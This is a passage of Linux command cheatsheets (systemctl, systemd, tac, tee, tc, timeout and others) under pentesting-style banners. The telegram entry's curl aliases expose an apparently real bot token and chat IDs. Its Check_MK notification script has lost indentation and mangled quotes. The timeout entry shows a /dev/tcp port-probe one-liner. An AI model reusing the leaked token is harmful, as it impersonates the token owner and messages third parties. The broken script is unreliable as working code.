# run systemctl commands remotely
systemctl list-dependencies
# show and units dependencies
systemctl list-sockets
# systemd list sockets and activities
systemctl list-jobs
# view active systemd jobs
systemctl list-unit-files
# systemctl list unit files and their states
systemctl list-units
# systemctl list default target (like run levlel)
systemctl reboot
# systemctl reboot the system
systemctl poweroff
# systemctl shutdown (power off the system)
systemctl emergency
# Put in emergency mode
systemctl default
# systemctl default mode
systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target
# Disable sleep mode via cli and systemd (Centos, Debian Ubuntu?) - This causes computer to never power off or go into sleep mode. Disables sleep mode linux.
# restart Bluetooth from terminal
systemctl restart bluetooth
# Get CPU thermal data on MacOS
sysctl machdep.xcpm.cpu_thermal_level
#==============================##==============================#
# CMD SYSTEMCTL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command systemctl in a clear format. This allows users to quickly access the needed information for systemctl without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for systemctl are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
202 - 🖥️systemd
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the systemd command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗██████╗
# ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║██╔══██╗
# ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║██║ ██║
# ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║██║ ██║
# ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║██████╔╝
# ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═════╝
# Display process startup time
systemd-analyze
# Display process startup time at service level
systemd-analyze blame
# List running units
systemctl list-units
# Load a unit at startup
systemctl enable foo.service
# Start or Stop a unit
systemctl <start | stop> foo.service
# Unit file locations
/etc/systemd/system
/usr/lib/systemd/system
#==============================##==============================#
# CMD SYSTEMD #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command systemd in a clear format. This allows users to quickly access the needed information for systemd without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for systemd are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
203 - 🖥️systemd-sysvinit
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the systemd-sysvinit command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ███████╗██╗ ██╗███████╗████████╗███████╗███╗ ███╗██████╗
# ██╔════╝╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔════╝████╗ ████║██╔══██╗
# ███████╗ ╚████╔╝ ███████╗ ██║ █████╗ ██╔████╔██║██║ ██║
# ╚════██║ ╚██╔╝ ╚════██║ ██║ ██╔══╝ ██║╚██╔╝██║██║ ██║
# ███████║ ██║ ███████║ ██║ ███████╗██║ ╚═╝ ██║██████╔╝
# ╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═════╝
#
# ███████╗██╗ ██╗███████╗██╗ ██╗██╗███╗ ██╗██╗████████╗
# ██╔════╝╚██╗ ██╔╝██╔════╝██║ ██║██║████╗ ██║██║╚══██╔══╝
# ███████╗ ╚████╔╝ ███████╗██║ ██║██║██╔██╗ ██║██║ ██║
# ╚════██║ ╚██╔╝ ╚════██║╚██╗ ██╔╝██║██║╚██╗██║██║ ██║
# ███████║ ██║ ███████║ ╚████╔╝ ██║██║ ╚████║██║ ██║
# ╚══════╝ ╚═╝ ╚══════╝ ╚═══╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝
# SysVinit to Systemd Cheatsheet
# Services
#-------------------------------------------------------------------------------------------------------------------------------------------------
# Sysvinit Command Systemd Command Notes
#-------------------------------------------------------------------------------------------------------------------------------------------------
# service frobozz start systemctl start frobozz Used to start a service (not reboot persistent)
# service frobozz stop systemctl stop frobozz Used to stop a service (not reboot persistent)
# service frobozz restart systemctl restart frobozz Used to stop and then start a service
# service frobozz reload systemctl reload frobozz When supported, reloads the config file without interrupting pending operations.
# service frobozz condrestart systemctl condrestart frobozz Restarts if the service is already running.
# service frobozz status systemctl status frobozz Tells whether a service is currently running.
# ls /etc/rc.d/init.d/ systemctl Used to list the services that can be started or stopped
# (or) systemctl list-unit-files --type=service
# (or) ls /lib/systemd/system/*.service /etc/systemd/system/*.service
# chkconfig frobozz on systemctl enable frobozz Turn the service on, for start at next boot, or other trigger.
# chkconfig frobozz off systemctl disable frobozz Turn the service off for the next reboot, or any other trigger.
# chkconfig frobozz systemctl is-enabled frobozz Used to check whether a service is configured to start or not in the current environment.
# chkconfig --list systemctl list-unit-files --type=service
# (or) ls /etc/systemd/system/*.wants/
# Print a table of services that lists which runlevels each is configured on or off
# chkconfig --list | grep 5:on systemctl list-dependencies graphical.target
# Print a table of services that will be started when booting into graphical mode
# chkconfig frobozz --list ls /etc/systemd/system/*.wants/frobozz.service
# Used to list what levels this service is configured on or off
# chkconfig frobozz --add systemctl daemon-reload Used when you create a new service file or modify any configuration
# SysVinit to Systemd Cheatsheet
# Runlevels/targets
#--------------------------------------------------------------------------------------------------------------------------------------------------
# Sysvinit Runlevel Systemd Target Notes
#--------------------------------------------------------------------------------------------------------------------------------------------------
# 0 runlevel0.target Halt the system.
# poweroff.target
# 1, s, single runlevel1.target Single user mode.
# rescue.target
# 2, 4 runlevel2.target User-defined/Site-specific runlevels. By default, identical to 3.
# runlevel4.target
# multi-user.target
# 3 runlevel3.target Multi-user, non-graphical. Users can usually login via multiple consoles or via the network.
# multi-user.target
# 5 runlevel5.target Multi-user, graphical. Usually has all the services of runlevel 3 plus a graphical login.
# graphical.target
# 6 runlevel6.target Reboot
# reboot.target
# emergency emergency.target Emergency shell
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command systemd-sysvinit in a clear format. This allows users to quickly access the needed information for systemd-sysvinit without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for systemd-sysvinit are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
204 - 🖥️tac
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tac command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗ █████╗ ██████╗
# ╚══██╔══╝██╔══██╗██╔════╝
# ██║ ███████║██║
# ██║ ██╔══██║██║
# ██║ ██║ ██║╚██████╗
# ╚═╝ ╚═╝ ╚═╝ ╚═════╝
# tac: Concatenate and write files in reverse
# tac copies each file (‘-’ means standard input), or standard input if none are given, to standard output, reversing the records (lines by default) in each separately.
# Records are separated by instances of a string (newline by default). By default, this separator string is attached to the end of the record that it follows in the file.
tac [option]… [file]…
# The program accepts the following options. Also see Common options.
# The separator is attached to the beginning of the record that it precedes in the file.
-b --before
# Treat the separator string as a regular expression.
-r --regex
# Use separator as the record separator, instead of newline. Note an empty separator is treated as a zero byte. I.e., input and output items are delimited with ASCII NUL.
-s separator --separator=separator
# On systems like MS-DOS that distinguish between text and binary files, tac reads and writes in binary mode. An exit status of zero indicates success, and a nonzero value indicates failure.
# Example:
# Reverse a file character by character.
tac -r -s 'x\|[^x]'
tac 35.txt
# This command is very interesting which prints the content of a text file in reverse order, i.e., from last line to first line.
tac temp.txt > pmet.txt
# Reverse the order of the lines in a file using 'tac' (cat reverse) command
tac|tac|
# If you like pasting into STDIN pipeline, this trick can prevent the processing from starting until you press [Ctrl-D].
tac -s "^[[H"
# You can reverse a set of "records" using tac with the -s option and a record separator. Used to make globe spin backwards.
tac myfile.txt > /tmp/temp; echo "my line" >> /tmp/temp; tac /tmp/temp > myfile.txt
# Insert a line at the top of a text file without sed or awk or bash loops
# Yet another way to add a line at the top a of text file with the help of the tac command (reverse cat).
#==============================##==============================#
# CMD TAC #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command tac in a clear format. This allows users to quickly access the needed information for tac without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for tac are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
205 - 🖥️taste
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the taste command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗ █████╗ ███████╗████████╗███████╗
# ╚══██╔══╝██╔══██╗██╔════╝╚══██╔══╝██╔════╝
# ██║ ███████║███████╗ ██║ █████╗
# ██║ ██╔══██║╚════██║ ██║ ██╔══╝
# ██║ ██║ ██║███████║ ██║ ███████╗
# ╚═╝ ╚═╝ ╚═╝╚══════╝ ╚═╝ ╚══════╝
# taste (Bash-Snippets)
# A recommendation engine that provides 3 similar items based on some input topic.
# Get the names of three recommendations based on supplied item
taste Catcher in the Rye
# Get the names and information on three recommendations based on supplied item
taste -i Kendrick Lamar
# Get information on the supplied item
taste -s Red Hot Chili Peppers
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command taste in a clear format. This allows users to quickly access the needed information for taste without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for taste are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
206 - 🖥️tc
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tc command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗ ██████╗
# ╚══██╔══╝██╔════╝
# ██║ ██║
# ██║ ██║
# ██║ ╚██████╗
# ╚═╝ ╚═════╝
tc qdisc add dev eth0 root netem delay 80ms 15ms distribution normal
# If you need to simulate latency on your Linux net interface, use `tc'
#==============================##==============================#
# CMD TC #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command tc in a clear format. This allows users to quickly access the needed information for tc without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for tc are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
207 - 🖥️tee
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tee command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗███████╗███████╗
# ╚══██╔══╝██╔════╝██╔════╝
# ██║ █████╗ █████╗
# ██║ ██╔══╝ ██╔══╝
# ██║ ███████╗███████╗
# ╚═╝ ╚══════╝╚══════╝
tee
T
The tee command is named after plumbing terminology for a T-shaped pipe splitter. This Unix command splits the output of another command, sending it to a file and to the terminal.
# To tee stdout to a file:
ls | tee outfile.txt
# To tee stdout and append to a file:
ls | tee -a outfile.txt
# tee would take the output of the first command in the pipeline and copy it
# to standard output (the terminal) while also making copies of it in the files one, two and three:
somecommand | tee one two three
# write 3 to /proc/sys/vm/drop_caches (with root rights)
echo 3 | sudo tee /proc/sys/vm/drop_caches
# in Vim:
# The structure :w !cmd means "write the current buffer piped through command".
:w !sudo tee %
#==============================##==============================#
# CMD TEE #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command tee in a clear format. This allows users to quickly access the needed information for tee without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for tee are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
208 - 🖥️telegram
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the telegram command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗███████╗██╗ ███████╗ ██████╗ ██████╗ █████╗ ███╗ ███╗
# ╚══██╔══╝██╔════╝██║ ██╔════╝██╔════╝ ██╔══██╗██╔══██╗████╗ ████║
# ██║ █████╗ ██║ █████╗ ██║ ███╗██████╔╝███████║██╔████╔██║
# ██║ ██╔══╝ ██║ ██╔══╝ ██║ ██║██╔══██╗██╔══██║██║╚██╔╝██║
# ██║ ███████╗███████╗███████╗╚██████╔╝██║ ██║██║ ██║██║ ╚═╝ ██║
# ╚═╝ ╚══════╝╚══════╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
alias telegramcmk='curl --silent --output /dev/null --data-urlencode "chat_id=454740953" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'
alias telegramfelix='curl --silent --output /dev/null --data-urlencode "chat_id=505957501" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'
alias telegramsr='curl --silent --output /dev/null --data-urlencode "chat_id=343643687" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'
alias telegramsr='curl --silent --output /dev/null --data-urlencode "chat_id=437945356" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'
#!/usr/bin/python
# Telegram
# Copyright Mathias Kettner 2013 [email protected]
# Stefan Gehn 2016 [email protected]
# check_mk is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation in version 2. check_mk is distributed
# in the hope that it will be useful, but WITHOUT ANY WARRANTY; with-
# out even the implied warranty of MERCHANTABILITY or FITNESS FOR A
# PARTICULAR PURPOSE. See the GNU General Public License for more de-
# ails. You should have received a copy of the GNU General Public
# License along with GNU Make; see the file COPYING. If not, write
# to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
# Boston, MA 02110-1301 USA.
# Telegram notification based on asciimail notification from
# check_mk 1.2.6p16.
import os, re, sys, urllib, urllib2
### CHANGE THESE ###
telegram_bot_token = '101010101:ChangeMeChangeMeChangeMe'
####################
tmpl_host_text = """*Check_MK: $HOSTNAME$ - $EVENT_TXT$*
Host: $HOSTNAME$
Alias: $HOSTALIAS$
Address: $HOSTADDRESS$
Event: $EVENT_TXT$
Output: $HOSTOUTPUT$
$LONGHOSTOUTPUT$```"""
tmpl_service_text = “”"Check_MK: $HOSTNAME$/$SERVICEDESC$ $EVENT_TXT$
Host: $HOSTNAME$
Alias: $HOSTALIAS$
Address: $HOSTADDRESS$
Service: $SERVICEDESC$
Event: $EVENT_TXT$
Output: $SERVICEOUTPUT$
$LONGSERVICEOUTPUT$```"""
def substitute_context(template, context):
# First replace all known variables
for varname, value in context.items():
template = template.replace('$'+varname+'$', value)
# Remove the rest of the variables and make them empty
template = re.sub("\$[A-Z_][A-Z_0-9]*\$", "", template)
return template
def construct_message_text(context):
notification_type = context["NOTIFICATIONTYPE"]
if notification_type in [ "PROBLEM", "RECOVERY" ]:
txt_info = "$PREVIOUS@HARDSHORTSTATE$ -> $@SHORTSTATE$"
elif notification_type.startswith("FLAP"):
if "START" in notification_type:
txt_info = "Started Flapping"
else:
txt_info = "Stopped Flapping ($@SHORTSTATE$)"
elif notification_type.startswith("DOWNTIME"):
what = notification_type[8:].title()
txt_info = "Downtime " + what + " ($@SHORTSTATE$)"
elif notification_type == "ACKNOWLEDGEMENT":
txt_info = "Acknowledged ($@SHORTSTATE$)"
elif notification_type == "CUSTOM":
txt_info = "Custom Notification ($@SHORTSTATE$)"
else:
txt_info = notification_type # Should neven happen
txt_info = substitute_context(txt_info.replace("@", context["WHAT"]), context)
context["EVENT_TXT"] = txt_info
if context['WHAT'] == 'HOST':
tmpl_text = tmpl_host_text
else:
tmpl_text = tmpl_service_text
return substitute_context(tmpl_text, context)
def fetch_notification_context():
context = {}
for (var, value) in os.environ.items():
if var.startswith("NOTIFY_"):
context[var[7:]] = value.decode("utf-8")
return context
def send_telegram_message(token, chat_id, text):
url = 'https://api.telegram.org/bot%s/sendMessage' % (token)
data = urllib.urlencode({'chat_id':chat_id, 'text':text, 'parse_mode':'Markdown'})
#print("sending telegram message, url '%s', chat id '%s', text '%s'" % (url, chat_id, text))
try:
urllib2.urlopen(url, data).read()
except urllib2.URLError, e:
sys.stdout.write('Cannot send Telegram message: HTTP-Error %s %s\n' % (e.code, e))
def main():
context = fetch_notification_context()
telegram_chatid = context.get('CONTACT_TELEGRAM_CHAT_ID')
if not telegram_chatid: # e.g. empty field in user database
sys.stdout.write("Cannot send Telegram message: Empty destination chat id")
sys.exit(2)
text = construct_message_text(context)
send_telegram_message(telegram_bot_token, telegram_chatid, text)
main()
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command telegram in a clear format. This allows users to quickly access the needed information for telegram without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for telegram are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
209 - 🖥️timeout
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the timeout command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ████████╗██╗███╗ ███╗███████╗ ██████╗ ██╗ ██╗████████╗
# ╚══██╔══╝██║████╗ ████║██╔════╝██╔═══██╗██║ ██║╚══██╔══╝
# ██║ ██║██╔████╔██║█████╗ ██║ ██║██║ ██║ ██║
# ██║ ██║██║╚██╔╝██║██╔══╝ ██║ ██║██║ ██║ ██║
# ██║ ██║██║ ╚═╝ ██║███████╗╚██████╔╝╚██████╔╝ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝
# How to test a TCP (or UDP) remote port without telnet or netcat (in a one-liner): (google’s IP and TCP to 443)
timeout 1 bash -c '</dev/tcp/216.58.207.46/443 && echo Port is open || echo Port is closed' || echo Connection timeout
timeout 10m <command>
# Run command, but exit after 10 minutes. See man timeout
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command timeout in a clear format. This allows users to quickly access the needed information for timeout without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for timeout are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
210 - 🖥️tmate
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tmate command with important options and switches using examples.
